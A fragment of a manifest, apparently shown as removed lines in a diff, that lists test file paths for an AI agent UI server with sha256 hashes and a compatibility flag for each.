"packages/ui-server/tests/safety-account-partition.test.ts":{"sha256":"afcb0f7f308dc7f6fd909013aa70afbeffa9a7e9b9896d6c13bb058fedafb74a","compatible":true}, - "packages/ui-server/tests/safety-containment.test.ts":{"sha256":"1ce6d1df6e59f0ac6d739541db75f1760125abf4b74db93b18dc985ae0240c61","compatible":true}, - "packages/ui-server/tests/safety-entry-correlation.test.ts":{"sha256":"b6789aff267b9c86c119c14de7f1e7b1d2eb4ead165f16efcf7d12f51ee6120e","compatible":true}, - "packages/ui-server/tests/safety-history-loss.test.ts":{"sha256":"9b771430af793b8ec7cf063818abc21717ef4acf11158f95fb9e31f7afa3e44d","compatible":true}, - "packages/ui-server/tests/safety-history-review.test.ts":{"sha256":"69e9099802c13369de5144f229836618caa4fd71b2b1aa95d0138436361a5049","compatible":true}, - "packages/ui-server/tests/safety-history.test.ts":{"sha256":"42a9d05bd906fdc2252d1b7dd38728c560e104385ed7cee2bb1b85d77ce736de","compatible":true}, - "packages/ui-server/tests/safety-ledger.test.ts":{"sha256":"8b565dff861364f34054ad31fcf7bc0fac36b21e7614bfd2eb2a60fbf9a1eb7c","compatible":true}, - "packages/ui-server/tests/safety-loss-recovery.test.ts":{"sha256":"b447d7abc7344269b259bd6dcc2b2d790399e04ea43ba9c24de518d34650f4ea","compatible":true}, - "packages/ui-server/tests/safety-native-delivery.test.ts":{"sha256":"45dff34ccfab4f84689dbd4c1d7a23706bc95a917464b20dc25e2b76a5d096ab","compatible":true}, - "packages/ui-server/tests/safety-occurrences.test.ts":{"sha256":"6f10082874cc8533410e4ea7fc78ed3466126ab36e18c856762e5bad4066eaf6","compatible":true}, - "packages/ui-server/tests/safety-pi-acquisition.test.ts":{"sha256":"5b741c13f2addb581c4e5096d1ec1d23366c6fb7cbe250e2ed72bf80a356c0c7","compatible":true}, - "packages/ui-server/tests/safety-pi-delivery.test.ts":{"sha256":"6fe475139c47748114d20939b0bf3b9992924e18a4363f3430f160d0a275dcc4","compatible":true}, - "packages/ui-server/tests/safety-proxy-exposures.test.ts":{"sha256":"4ba7df76ef1816a0c8c2c69d44bccb313c6c076c35ad1636f54437a265c1ff99","compatible":true}, - "packages/ui-server/tests/safety-recovery-journey.test.ts":{"sha256":"981f33449a9bb659b7c3b1c71953fcafa1129548119f71e129e94ac01af8080e","compatible":true}, - "packages/ui-server/tests/safety-result-exits.test.ts":{"sha256":"04546369f813ec2efa7f3d864acc92fa733b3f06fc30aa3d5102ad1be3a5b65f","compatible":true}, - "packages/ui-server/tests/safety-result-retention.test.ts":{"sha256":"17f07b5e766ee8c2dd110c21e4aeb4e2d70ed1ad852c009ac629e5dad7456196","compatible":true}, - "packages/ui-server/tests/safety-reviews.test.ts":{"sha256":"745df6d9d4ab55b02a71db47a57c8d84b5b434650555cdaff919b74051f8cae4","compatible":true}, - "packages/ui-server/tests/saved-transcription.test.ts":{"sha256":"3bd64080391132b8c4b0d8c67b7bc2b72d0ce59c99e4e194358942534eafeeb1","compatible":true}, - "packages/ui-server/tests/schedule-admission.test.ts":{"sha256":"dae39b523e3f36037b7e30fa9b6f6e53afb901e2db76eca48f59480f26241dce","compatible":true}, - "packages/ui-server/tests/schedule-cli.test.ts":{"sha256":"90544ccc4a43d3beb9d82229f666116c2ec3cf235937a8b5cba5629f79595b83","compatible":true}, - "packages/ui-server/tests/schedule-definition.test.ts":{"sha256":"d90458f1aebe91f3c3056c73f987fb6ceb62dba87901e0bc24a3abdb1c966983","compatible":true}, - "packages/ui-server/tests/schedule-ignore-admission.test.ts":{"sha256":"da3c971b05aac0b3fa65440e60196d0f593c49b8af55a12c4d5e359bba687ddc","compatible":true}, - "packages/ui-server/tests/schedule-recovery.test.ts":{"sha256":"b575cddd17725446dccba55710122a8fad5bb964cc1c09f77ae2f98e272efe54","compatible":true}, - "packages/ui-server/tests/schedule-service.test.ts":{"sha256":"a05534df1b5c1087e3145ce685b1fdcbdc408dc33f9936309e7bd29994070a06","compatible":true}, - "packages/ui-server/tests/schedule-time.test.ts":{"sha256":"b3c5319047611abc14fdd49b67f54a96b89d0653699cdd3fc9e2c9b97c46d178","compatible":true}, - "packages/ui-server/tests/schedule-writes-offloop.test.ts":{"sha256":"0f878981d54de3b841c07dc0e2888b0c6fd3d75ab6d04cd0d2cc4d24498a1eff","compatible":true}, - "packages/ui-server/tests/scratch-mask-query.test.ts":{"sha256":"b50152412677861231fcd8c05e8c3600ee52a02ec8e4f1dfb2cb84d632e6abf4","compatible":true}, - "packages/ui-server/tests/scratch-pins.test.ts":{"sha256":"1f8fb62f5f72d6f003002b1f919e1c096f11f954390fdf83949d16f4429e40f8","compatible":true}, - "packages/ui-server/tests/selectable-dictation.test.ts":{"sha256":"6c4ba61e65f3867bc5c9eb7bcdf2909abc253326775a710cdc9a017ccdba49ca","compatible":true}, - "packages/ui-server/tests/session-cookie.test.ts":{"sha256":"c6b636a4ff46586c338cb54c813e5b42b59da80e1633afd3b3d5c5d9ffb059d4","compatible":true}, - "packages/ui-server/tests/session-cost-persistence.test.ts":{"sha256":"14a21eaf8bab71dd4b3a99d488fe7220dbbe9c39f19501381fed4ae1ffd42080","compatible":true}, - "packages/ui-server/tests/session-history.test.ts":{"sha256":"d56c05d4eb389f7be065b802149ea0c00e0832f82b02cff3c8c3238aded15fb8","compatible":true}, - "packages/ui-server/tests/session-recovery-http.test.ts":{"sha256":"4b9855f7b5cf7c71c66e6000f7c63ab26dbb10fb420b5785a5754254d5c4e1d6","compatible":true}, - "packages/ui-server/tests/session-routes-handoff.test.ts":{"sha256":"05f27211c1fcad8f1915eeda1c741431482537f20791286b7254772bd43a3848","compatible":true}, - "packages/ui-server/tests/session-routes-multi-backend.test.ts":{"sha256":"014ee57d20068aa607be9efee47c367e34b3703cda015a8c9c0943a1a93bb38e","compatible":true}, - "packages/ui-server/tests/session-run-stages.test.ts":{"sha256":"ff03426f111890ba8059737ae752e30e5143671135823b2427e43587e283320a","compatible":true}, - "packages/ui-server/tests/session-safety-boundaries.test.ts":{"sha256":"e70863b0f8a87c84e5bf8e7a891f681082af5a393f5aa0f2ecdad74f84a4ae6a","compatible":true}, - "packages/ui-server/tests/session-start-reliability.test.ts":{"sha256":"24d9211e244ee49e0a1bf6d64734bf0a612827ed9dbe73970805ec978c211c1c","compatible":true}, - "packages/ui-server/tests/session-taint.test.ts":{"sha256":"d793939caa6773d88d6ae12dc5b3df96f66b8bf6503404795ab9a14cf27eac6c","compatible":true}, - "packages/ui-server/tests/sessions-epoch.test.ts":{"sha256":"647ca936fc246ba0368a74d24546eb3b71885274d823086b6aba94a23bfc8141","compatible":true}, - "packages/ui-server/tests/share-links.test.ts":{"sha256":"4d7081a22b1794305d0d185fb81b7df529680083f549380057d2a189a6c4d17e","compatible":true}, - "packages/ui-server/tests/share-routes.test.ts":{"sha256":"bf054ff7e51489c1cec053ee8c89adf7c73b31d14306bfcb79db85b153fed9d9","compatible":true}, - "packages/ui-server/tests/share-staging-protection.test.ts":{"sha256":"7a201c30ad30ce555a3431c3812073466be12161c27c88ef0739919c1f72eb30","compatible":true}, - "packages/ui-server/tests/shell-taint-proxy.test.ts":{"sha256":"099bbf90b1674d6824b1c22d42b821ee9dbc0071a37d37b5f3916893478c08ee","compatible":true}, - "packages/ui-server/tests/shrink.test.ts":{"sha256":"6047d98933cb23c78a7dfacaefa19bbf8bdaee5b62529ac946e084abb494986c","compatible":true}, - "packages/ui-server/tests/skills-install.test.ts":{"sha256":"51604676771ce3c6e0c329e7b9d0e712564ce5845d9f5f8c1ab1b6ae370de2ac","compatible":true}, - "packages/ui-server/tests/skills-routes.test.ts":{"sha256":"8f6bad8af89c4811be66e98b39ac907d60a4e33c5f2bf7f8ae64368f8be7e86d","compatible":true}, - "packages/ui-server/tests/software-status.test.ts":{"sha256":"bb2f919b2290040e1f3eb7a10e1456bc554f3c2fa6fd5dc073f4ff8df7452aad","compatible":true}, - "packages/ui-server/tests/speech-provider-conformance.test.ts":{"sha256":"1ef252e93489b100199faab5a95dc7d08af3795a36267ec5ffbe94bdfa3d3968","compatible":true}, - "packages/ui-server/tests/sqlite-cleanup-owner-deadline.test.ts":{"sha256":"8239a6dabd44b7d9c22e24b93538668c359944ae35c9b065dcfbb59e9b6bd136","compatible":true}, - "packages/ui-server/tests/staging-fs.test.ts":{"sha256":"de8791c098616c83c9680d2e6593af4e6c08b4973963dc19f29028da04da41f9","compatible":true}, - "packages/ui-server/tests/staging-no-follow.test.ts":{"sha256":"77ba7f6a92f8e80635b8c88c00f96f3ac28a6045e8f1e1b363185c41312126d8","compatible":true}, - "packages/ui-server/tests/state-room-warning.test.ts":{"sha256":"fd7d7f45e7a38b9a27fe2bb29730749fab3da6e5ceb624db953c47ae5e8ecf70","compatible":true}, - "packages/ui-server/tests/storage-collection.test.ts":{"sha256":"b9f9cf6d491dc9a9bb0742981d69c1dbe4373dbf1cdf75530516f367ad3918a6","compatible":true}, - "packages/ui-server/tests/storage-guidance.test.ts":{"sha256":"60c42a1b1d4555289d9a3e62068932ab8f8455338b549dc963902ce67e312bba","compatible":true}, - "packages/ui-server/tests/storage-history-model.test.ts":{"sha256":"3fbe1a2b686f99f96301e89c8d56a81465838b8e0f53cb19d665d40d7722efc8","compatible":true}, - "packages/ui-server/tests/storage-history-store.test.ts":{"sha256":"8e75acb17f909cf072e1e2deb7e24d634211bb047515fa0045dd13e784948616","compatible":true}, - "packages/ui-server/tests/storage-maintenance-owners.test.ts":{"sha256":"2c78268e63c105f9f58e3b47489d40706f7bbf4092d188bd1336999e725e2559","compatible":true}, - "packages/ui-server/tests/storage-maintenance-routes.test.ts":{"sha256":"6b159cb2cbc5af83660a69f580639063857a16cbdfe2bc187a62b98ea22359a7","compatible":true}, - "packages/ui-server/tests/storage-maintenance.test.ts":{"sha256":"76df0fbf160c11af80f129e878b5fac379d11b4d16d439a1d107d0877696ad62","compatible":true}, - "packages/ui-server/tests/storage-metadata.test.ts":{"sha256":"80dc3546065bfbdcaf1b9fb44c6cc966bb78bb1377ff49b4eb51f196acf04733","compatible":true}, - "packages/ui-server/tests/storage-notify.test.ts":{"sha256":"34a9e1997ea094718c0b1358857f1adf3977d3d1bcc9557b4af25be01283d064","compatible":true}, - "packages/ui-server/tests/storage-offloop.test.ts":{"sha256":"bfa2f6027bbdbb1c18e9ed50237721c669c8f11bcc6b0e5d40385b5ecf2b704d","compatible":true}, - "packages/ui-server/tests/storage-pressure.test.ts":{"sha256":"eccbf3a115e9c7753fa44df0caadb4b92591500d780952679ac082be1c7fa39f","compatible":true}, - "packages/ui-server/tests/storage-removal-journal.test.ts":{"sha256":"775962dd29fd69f6fd06fad9d460d068f5de652c324f628ec911c3c680d8bf45","compatible":true}, - "packages/ui-server/tests/storage-removal-recovery.test.ts":{"sha256":"e46663648927045c320a3e9835e5cf42eb8ec22cfc59d18bdb5411916e3861d0","compatible":true}, - "packages/ui-server/tests/storage-removal-routes.test.ts":{"sha256":"ff5ce6927298c2de493d4b57d39fe9bdf6f3f3fe19e13acd0e428b68033f754b","compatible":true}, - "packages/ui-server/tests/storage-removal-space.test.ts":{"sha256":"cf03a651ba0d2ae38721bdea6e294545adc8e035ac94566e1f2beba6b3e2859e","compatible":true}, - "packages/ui-server/tests/storage-removal-worker.test.ts":{"sha256":"ad09bb6000567abd01ff45d321bccecf3d08c4abacf0e7fa321cb983d375663c","compatible":true}, - "packages/ui-server/tests/storage-removal.test.ts":{"sha256":"89cb031691b1f85d81689fc98c7278143a72c3b5458264ed2989f41dc3f4e17b","compatible":true}, - "packages/ui-server/tests/storage-routes.test.ts":{"sha256":"d53127059dde5b8648334224d57bef37bf4dc20226c267277ddd3ccf3f6cbd5b","compatible":true}, - "packages/ui-server/tests/storage-scan-offloop.test.ts":{"sha256":"311267b9582482715410351d4cde2ac579bab911719d709a055e9f0bcb46eb6f","compatible":true}, - "packages/ui-server/tests/storage-shared-scan.test.ts":{"sha256":"26640f665a4ee0f2cae8c44917959246dd3f944892e8c5b5ef0565ce4ed54707","compatible":true}, - "packages/ui-server/tests/storage-tree.test.ts":{"sha256":"2fda6d0bfff16ba128f9a3de3eb281fa3cd7aa246cc5aee9d6c9613ca3066e7f","compatible":true}, - "packages/ui-server/tests/subscription-login.test.ts":{"sha256":"3c73cc04aee24b9d0a6e2f9763c9d5ccfd8fe2b76efab214589031425f14b588","compatible":true}, - "packages/ui-server/tests/subscription-status.test.ts":{"sha256":"54f87ed9e68fa63e8c5dd99221fd42b5b8059f8ab44a6ec351e75638ca662728","compatible":true}, - "packages/ui-server/tests/sync-launch-bound.test.ts":{"sha256":"002f1bc944714ef6f51a49f8f5b237e8606d5123d42451cc768e422c0ec75fb6","compatible":true}, - "packages/ui-server/tests/sync-mirror.test.ts":{"sha256":"e3188096a527f0c6a06724cdcf9d2a63f55c900339cdb90835d18021383250ee","compatible":true}, - "packages/ui-server/tests/sync-policy-app.test.ts":{"sha256":"9401ee02b21e454066631f15508fda68edea72d43866c060d0d8becf57094411","compatible":true}, - "packages/ui-server/tests/sync-policy-review.test.ts":{"sha256":"a553b51aa9f50cd9623f7b09cfcb66cd54eef4980928bf32689bcc62602c3207","compatible":true}, - "packages/ui-server/tests/sync-reservation.test.ts":{"sha256":"544dafe0001dbfe653141cd9707778e3ef509fd8c64e0b69cb28e483c27ee389","compatible":true}, - "packages/ui-server/tests/sync-runtime.test.ts":{"sha256":"94a7a5c2e4011e17d6bb5a9363c75ff341c0f8fb08294aa68b6892a1a34a3455","compatible":true}, - "packages/ui-server/tests/tailscale.test.ts":{"sha256":"aa72fa2b240ea080c90a74a09212251c8d1624e2b6486cde76a134035b0cfd5f","compatible":true}, - "packages/ui-server/tests/tainted-destination-ask.test.ts":{"sha256":"242c6f801331acdab7c3303775edea42bdd90044efccd5c7e481086eb8c4b46a","compatible":true}, - "packages/ui-server/tests/tool-observation-schedule.test.ts":{"sha256":"e4301ea954a1404b7d83d1900e8f653fb2d173c728fb704924f98f2f46eb6d79","compatible":true}, - "packages/ui-server/tests/track-intake.test.ts":{"sha256":"8000571c610f5d2c9c0d0b7335d137c308697e4ce19740cb22b6e10ddddbd8be","compatible":true}, - "packages/ui-server/tests/triage-eval.test.ts":{"sha256":"e4ed83916b26af07f39c76b522c8fd6348feca6ad956846941124e6d97c9bf16","compatible":true}, - "packages/ui-server/tests/trust-settings.test.ts":{"sha256":"6eaf94795c56853212dc9bf9a79fd5c9b473ec8edbb3aa175df5b5c3c61a6265","compatible":true}, - "packages/ui-server/tests/turn-boundary-hold.test.ts":{"sha256":"5dbe1bcc112e772c167b3f221dab50a2967df5b956bc3a8899fd91c3bf8895f1","compatible":true}, - "packages/ui-server/tests/turn-budgets.test.ts":{"sha256":"fdd82d2f81c9e17ac8907d4e056203f2bc145c45fa8f0b58679fa872c41eb936","compatible":true}, - "packages/ui-server/tests/turn-coordinator.test.ts":{"sha256":"d05222a6c8a24d7723cb3aac2086211f4435071b4e9caece1c2d356977d90565","compatible":true}, - "packages/ui-server/tests/turn-data-tree-placement.test.ts":{"sha256":"4b926ddbb39c6ed80fd1cb3111eee963ed2dd96961706026c08a06c91e2a73f9","compatible":true}, - "packages/ui-server/tests/turn-data-tree.test.ts":{"sha256":"3e3ace00eec0815c67dff8d81b798b98812606262ebe5f062fa6ba7d95436290","compatible":true}, - "packages/ui-server/tests/turn-egress-clock-honesty.test.ts":{"sha256":"cc372c49ba05fc2791d9f741610db7949d8445d3e6c2d6c1c1adb46e08ae5b79","compatible":true}, - "packages/ui-server/tests/turn-egress-composition.test.ts":{"sha256":"48beb314a281aa87747ebfd1d94408dc4f449fe9d2a9b3a5d91f2050436d39b6","compatible":true}, - "packages/ui-server/tests/turn-egress.test.ts":{"sha256":"e783821ea4fc2ba4b58a83b310b1fec00af8f84ee20525471e32ec8283ebb894","compatible":true}, - "packages/ui-server/tests/turn-failure-notice-digest.test.ts":{"sha256":"5c15357e48e944a2c18a65d1a391bf57c7b5985ddf3e8dd12aa88de4131bd80c","compatible":true}, - "packages/ui-server/tests/turn-free-space.test.ts":{"sha256":"acf6eb832b557e8eeca96cb6bc680b5d3f40b378224ba461f6bb522088c4aec7","compatible":true}, - "packages/ui-server/tests/turn-journal.test.ts":{"sha256":"d2cb46e448ba3070b4ad277c79f414f639f726d835c3b1c8227cb0789e500fb0","compatible":true}, - "packages/ui-server/tests/turn-lifecycle.test.ts":{"sha256":"ea02977d78a278349826427904a7e6690835b0027556abfdae4315a1d4ac6c50","compatible":true}, - "packages/ui-server/tests/turn-provider-relay.test.ts":{"sha256":"598fe1154ae19a43ade8e2eef88efe1d9c3c299e797c84ba07a6076823c6e390","compatible":true}, - "packages/ui-server/tests/turn-revert.test.ts":{"sha256":"d7d83922b968d4d32146ce84eefa449b482edb6ffdf394585ea29e79f997c2ac","compatible":true}, - "packages/ui-server/tests/turn-scope-headroom.test.ts":{"sha256":"1bb499d5d81414093aebc3114ff4c27979936f116e7a96db939efd3b33714eca","compatible":true}, - "packages/ui-server/tests/turn-scope.test.ts":{"sha256":"064908c69b2326fb2ab5aabdce8205cf347ea1d7b5f2d9ec0209f7435dc31e2d","compatible":true}, - "packages/ui-server/tests/unavailable-profiles.test.ts":{"sha256":"aa9a1513af93bc9a34f8fbf785d5b5cef9d17a6fb86f7f9fb00d1dbdb9cac56a","compatible":true}, - "packages/ui-server/tests/untrusted-marks.test.ts":{"sha256":"8c50fcd556d36a18a1b070df35301cbd662ec47a87440fa32f6d47d9abe8cd89","compatible":true}, - "packages/ui-server/tests/web-pi-delivery.test.ts":{"sha256":"9ea0c7f3ea9af126c36c4fbc6e616b1f4ebdf1fe38addd062600bacb39fb9504","compatible":true}, - "packages/ui-server/tests/web-pi-executor.test.ts":{"sha256":"e251586689708d384b3a36b7be071e3c0ac77866ccec07a0ac41a6f6d3602c4e","compatible":true}, - "packages/ui-server/tests/web-pi-subscription.test.ts":{"sha256":"3a529e71701181a8847d3a2b802ca441772edf27f934213e0b6915aad6e264a0","compatible":true}, - "packages/ui-server/tests/web-pi-worker.test.ts":{"sha256":"ae2a0600be115014a8038728571dbc1a16ed08eb39ff772d6d8e49e6238ebb23","compatible":true}, - "packages/ui-server/tests/web-search-routes.test.ts":{"sha256":"993a539972338fcda0f30910d361001ed20bf81cd9a95f74a733249e476e5e6a","compatible":true}, - "packages/ui-server/tests/web-tools-admission.test.ts":{"sha256":"1edf1bcafd920eff56f52669ffa7cce25dac53cd75028a7c6b4116ae8a6107fb","compatible":true}, - "packages/ui-server/tests/web-tools-broker.test.ts":{"sha256":"859811f129788ab54e8dded9404659bbdc1072d734bf39eb4dc1ccae03b72ab2","compatible":true}, - "packages/ui-server/tests/wikilink-reliability.test.ts":{"sha256":"afbef2afa6971936c4901a2979a7e4a50e652ca5263a3f6dd4df25456e311dd4","compatible":true}, - "packages/ui-server/tests/worker-host-gate.test.ts":{"sha256":"eebcf6ccf27e9aa219aefd1e342a1445b6c96cd5abe9bda0922b8fad6685a001","compatible":false}, - "packages/ui-server/tests/worker-host-status.test.ts":{"sha256":"307147da9582ed19b516b1135c42fec0f6dd2203183ebe66641cf3513211b55b","compatible":false}, - "packages/ui-server/tests/worker-probe-placement.test.ts":{"sha256":"a80d59fdbda103f2cd985b703c051fa26485e0a6718f4fe35f22667359e69a7c","compatible":true}, - "packages/ui-server/tests/worker-shared-identity.test.ts":{"sha256":"0fa2c4deed0f681267dae28399cec3807c1e48781e877bfb8880d207c183a90a","compatible":true}, - "packages/ui-server/tests/worker-state-config.test.ts":{"sha256":"02de88cc896ee0e79821041aca21ba3c95cab50260ee8c57bf2cd5517ccce6aa","compatible":true}, - "packages/ui-server/tests/write-worker.test.ts":{"sha256":"d8e126fbfe6544c102a7440501e48327917b58cfae74a3b7be83115d648cc63a","compatible":true}, - "packages/ui-server/tests/writer-gate-offloop.test.ts":{"sha256":"394765ca9db0b466fc34eebe144533ad905d52cae3dc1cedea6b0b3b8f333220","compatible":true}, - "packages/ui-server/tests/writer-gate.test.ts":{"sha256":"407800c1b885a4fab8ab9534a904915fdaa259b5764458600ed76c7d1a393c12","compatible":true}, - "packages/ui-server/tests/ws-activity.test.ts":{"sha256":"31799aa409793d09b01334df44a1c9882a5b8a5eee21e54956f34143d9ded2ef","compatible":true}, - "packages/ui-server/tests/ws-allowlist-enforcement.test.ts":{"sha256":"c1675428a92dbbad909f0625ec9b48f20afa3d1d499137eb0ecffb5ae765946b","compatible":true}, - "packages/ui-server/tests/ws-apify.test.ts":{"sha256":"cca15acfa5405bb14666d5c8c12173b222ec382869e7c7ee92868186bd376761","compatible":true}, - "packages/ui-server/tests/ws-approval-channel.test.ts":{"sha256":"9b866254ea30e6dbcabd99af2a5ca8f3ec73eed440b11e6a03ecee56271ea22c","compatible":true}, - "packages/ui-server/tests/ws-approval-persistence.test.ts":{"sha256":"42c7903a530e0f24f6c030afddb96075c23006c7c42d65edf94f892654f1e3fa","compatible":true}, - "packages/ui-server/tests/ws-ask-collision-matrix.test.ts":{"sha256":"6f5d82617162c7a7f16bfa1cf1f28c9b7792f0fbb5d6ebfbc38d6ec5f2276bb3","compatible":true}, - "packages/ui-server/tests/ws-ask-receipts.test.ts":{"sha256":"27a74efcb735d3d31bd46b9acfa59b9d42e2765c7f55e54d931f30f827e3174a","compatible":true}, - "packages/ui-server/tests/ws-ask-turn-timeout.test.ts":{"sha256":"c058733f8470660be0a59dc7f53e0b44bbd08600ce7badb20a89b441e762c9b7","compatible":true}, - "packages/ui-server/tests/ws-ask-user-form.test.ts":{"sha256":"c8416edf632da0a8e85663285f8eab0dd1df2d8ebc5c47653d338bfe2574f9ff","compatible":true}, - "packages/ui-server/tests/ws-ask-user-list.test.ts":{"sha256":"0039fc205652a49764b4b4f60af9579420c1f2cafafa34e1364eab510a97605a","compatible":true}, - "packages/ui-server/tests/ws-ask-user-rank.test.ts":{"sha256":"600545c450befdfe04e69797d2be5d26635111d087a1b53c5daf02444308a277","compatible":true}, - "packages/ui-server/tests/ws-authority-hold.test.ts":{"sha256":"8bf585e9313d6b1f39a7acea3946fb8ffcc784dae5124b027f3078bf34a4de7e","compatible":true}, - "packages/ui-server/tests/ws-backend-routing.test.ts":{"sha256":"1c3aa35005270986e116b81af0e10f46db126224457d4019d521c7a0b05ff2e4","compatible":true}, - "packages/ui-server/tests/ws-brain-application.test.ts":{"sha256":"3656fc345cc05e4b5102b8b4df0b99362bcf1c68d7b23697264b455555a47fcc","compatible":true}, - "packages/ui-server/tests/ws-capacity-route.test.ts":{"sha256":"721dbeea066d22da1292efff7431dcc36cc394911f8de47faa748afa70b5ba9b","compatible":true}, - "packages/ui-server/tests/ws-chat-deletion.test.ts":{"sha256":"7f081cf556aa4225c4346232434c0ada1f9921d381ceb7e8589659fca4ffd95e","compatible":true}, - "packages/ui-server/tests/ws-claude-effects.test.ts":{"sha256":"dc6e2eb03704741551a10fbb7c64b3392141387bdb08d7129ac40d88b18739e9","compatible":true}, - "packages/ui-server/tests/ws-client-environment.test.ts":{"sha256":"f74fb4c82b0d16f48382b40fd63a4012d20af62fad94e2b6bc3b901e9b34284e","compatible":true}, - "packages/ui-server/tests/ws-clients.test.ts":{"sha256":"63c239d97d1ab7c235c97014c01933fb949993a0e321a474ce466dc3f67127a5","compatible":true}, - "packages/ui-server/tests/ws-compute.test.ts":{"sha256":"d5f03e78e717fe330ba60e9e5fa69f60dd59c48d0fc9783bc7ed50624587c34f","compatible":true}, - "packages/ui-server/tests/ws-conversation.test.ts":{"sha256":"1ef9fc550c2db7a9119038dbd14a5ae2a5ccfce4c90da0c09d3a37ce32b4ee49","compatible":true}, - "packages/ui-server/tests/ws-effort.test.ts":{"sha256":"8cf9320ac7cd68c1256869e38da7c16d9b9d84b16e7f01326815e29bae6b94ce","compatible":true}, - "packages/ui-server/tests/ws-follow-up-queue.test.ts":{"sha256":"ddee925f3dc48e64a0136634b6007ae78871a7223f9b2e9e51da9d43824c2a4c","compatible":true}, - "packages/ui-server/tests/ws-follow-up-startup.test.ts":{"sha256":"57b19f302aa7e4ab82cecb77f67660de2edb1f09ef22028f3c177ea8f3558897","compatible":true}, - "packages/ui-server/tests/ws-github-details.test.ts":{"sha256":"ee001085401c88e424274c5e12f8c72657b48e35b1429f26ea9ec73df9f68c0c","compatible":true}, - "packages/ui-server/tests/ws-github.test.ts":{"sha256":"b63b0d2246eaa1abcb25acb78a1b3899c8e727fe616186dbc2d6df6de48c4697","compatible":true}, - "packages/ui-server/tests/ws-governance-binding.test.ts":{"sha256":"d698414b52151db00491fc74833532c14e537ea22cbbf02c0f01521c8744ae14","compatible":true}, - "packages/ui-server/tests/ws-handlers.test.ts":{"sha256":"5e19f64243bf02799e9fc3ed5fe1cbd62b6a0be7927b1650ab3bac9433fb35f9","compatible":true}, - "packages/ui-server/tests/ws-handoff.test.ts":{"sha256":"9756f43bd83aa742f842831f4ae3c302f25a58f78738866579987d1983305249","compatible":true}, - "packages/ui-server/tests/ws-history-freshness.test.ts":{"sha256":"0b944f4e814294ca4307eac475bab665224f729fce0448826759bce9f198d840","compatible":true}, - "packages/ui-server/tests/ws-inbox-intake-hold.test.ts":{"sha256":"ecba903dfe68548d2801623e67313c594516ac0ef2ef3d7ba8d02eff7261cac1","compatible":true}, - "packages/ui-server/tests/ws-interactive-admission.test.ts":{"sha256":"fbdd5553f250e87cd3a1fd07ff02add0cfbde925ebb5eaf510aa850a16489bb0","compatible":true}, - "packages/ui-server/tests/ws-legacy-budget-replay.test.ts":{"sha256":"9892f37a18c5ba5ce7791bb29d2590dedf514880a6be29a04880fefcc0f42caf","compatible":true}, - "packages/ui-server/tests/ws-live-policy-parity.test.ts":{"sha256":"c6938b174f37309a3393d77bf476e411297bd9186df9ed25a471c48f15a87a5d","compatible":true}, - "packages/ui-server/tests/ws-local-exchange.test.ts":{"sha256":"4ce2c639b55be9da3da64eb8dd01fb869889169fb26943c2e65658bf6f396013","compatible":true}, - "packages/ui-server/tests/ws-main-model.test.ts":{"sha256":"def7852ef8e630c6ba89e645d2b582014f4c0f9fb82586eff308d93a79d572c8","compatible":true}, - "packages/ui-server/tests/ws-message-source.test.ts":{"sha256":"3e3c1d7afd801796098f45d3098e701fe8e1e12ea8ef9e9c76db112b09489e31","compatible":true}, - "packages/ui-server/tests/ws-native-acquisition-cancellation.test.ts":{"sha256":"62d79dc2fd8be8d2fd86b63077cdd061a726dbfdd6d6f11804cd56f9eacf428f","compatible":true}, - "packages/ui-server/tests/ws-observability.test.ts":{"sha256":"e161d18ff8c3cee872b9b2a2bdaa2e96b306e6788fc1b7b02bbf5d2ae57a0e34","compatible":true}, - "packages/ui-server/tests/ws-parallel-sessions.test.ts":{"sha256":"ab4263e51f0694f6aa5ba6bf0f8a004319ce98035cf92dbd6050a509b3d6c783","compatible":true}, - "packages/ui-server/tests/ws-pill-labels.test.ts":{"sha256":"2a612115812ae5c34982a935a4f85ca9e7a5eb2e5b96213785149e916fc28da5","compatible":true}, - "packages/ui-server/tests/ws-promoted-block-replay.test.ts":{"sha256":"676a642b41c4b559183a0895d887b71ec20ea60a5c3ba1a09d0530f96e26bf29","compatible":true}, - "packages/ui-server/tests/ws-queue-budget.test.ts":{"sha256":"e5d815569a44e70e461e377e962d8b3e7890f5e9a77e7464f026d66e16fe7fab","compatible":true}, - "packages/ui-server/tests/ws-rate-limit.test.ts":{"sha256":"8a04a676675e2aadeb593ff32f39f5f59f146ee0681e94cad0f3694ad9712d20","compatible":true}, - "packages/ui-server/tests/ws-read-attachment.test.ts":{"sha256":"78b5b390f0b74ff9306f933c75bd3273a9379967af8d15a5486914e2ef15eed3","compatible":true}, - "packages/ui-server/tests/ws-reference-worktrees.test.ts":{"sha256":"de5b6e79a822a085cd6dbde75cd153a3519810cc6f74bdc7dd2352dfa51e4290","compatible":true}, - "packages/ui-server/tests/ws-retry-turn.test.ts":{"sha256":"28573f9ce1d68e3c30b969bf863454d18a863f9cfb7ac89243ee570f688fbe72","compatible":true}, - "packages/ui-server/tests/ws-revocation.test.ts":{"sha256":"cfc3243b549a935096b073e914e889fde5b06b9bd094a6a01f9a4a0076f2f6b3","compatible":true}, - "packages/ui-server/tests/ws-runtime-status.test.ts":{"sha256":"210dfb757f129c1243377419e40881ebb10472c6729f0c46ddd7484a3c670c41","compatible":true}, - "packages/ui-server/tests/ws-scope-caps.test.ts":{"sha256":"46dc9b927e1088d3c7085213842198e5181024cf8aa05181e6c95e709e2ba06b","compatible":true}, - "packages/ui-server/tests/ws-session-history.test.ts":{"sha256":"a8026fd3c282aeb635b33a6c2ef162c95fa6b24a2f46ad1a5abd66a9992f72a1","compatible":true}, - "packages/ui-server/tests/ws-session-recovery.test.ts":{"sha256":"8d792930db6f594131560d435b93312dd4954931f18751fbf06cdc436ca9c6b6","compatible":true}, - "packages/ui-server/tests/ws-tool-permissions.test.ts":{"sha256":"530922a3fa48c9921986e4b39f432d83f62f272502b019c33cda7bdea3b1d3df","compatible":true}, - "packages/ui-server/tests/ws-tool-resolution.test.ts":{"sha256":"c30903bbce0e28f641148fe32e7396e6f6edcdb9c75398adb4f6a38a8ae34c58","compatible":true}, - "packages/ui-server/tests/ws-track-files.test.ts":{"sha256":"fab442c8f548a48d06bdf5d31f9077e71bff1f3058119c8bc7907e4109b0255e","compatible":true}, - "packages/ui-server/tests/ws-turn-budgets.test.ts":{"sha256":"52efdfbe18b5177aecc9d47adfb0bbdbf337c50501f18b211c1e4a240e148000","compatible":true}, - "packages/ui-server/tests/ws-turn-failure-replay.test.ts":{"sha256":"c14cecbb82e42b9c09c14223ebf20fb5398fe50ed3b267df7025cde13ba862bc","compatible":true}, - 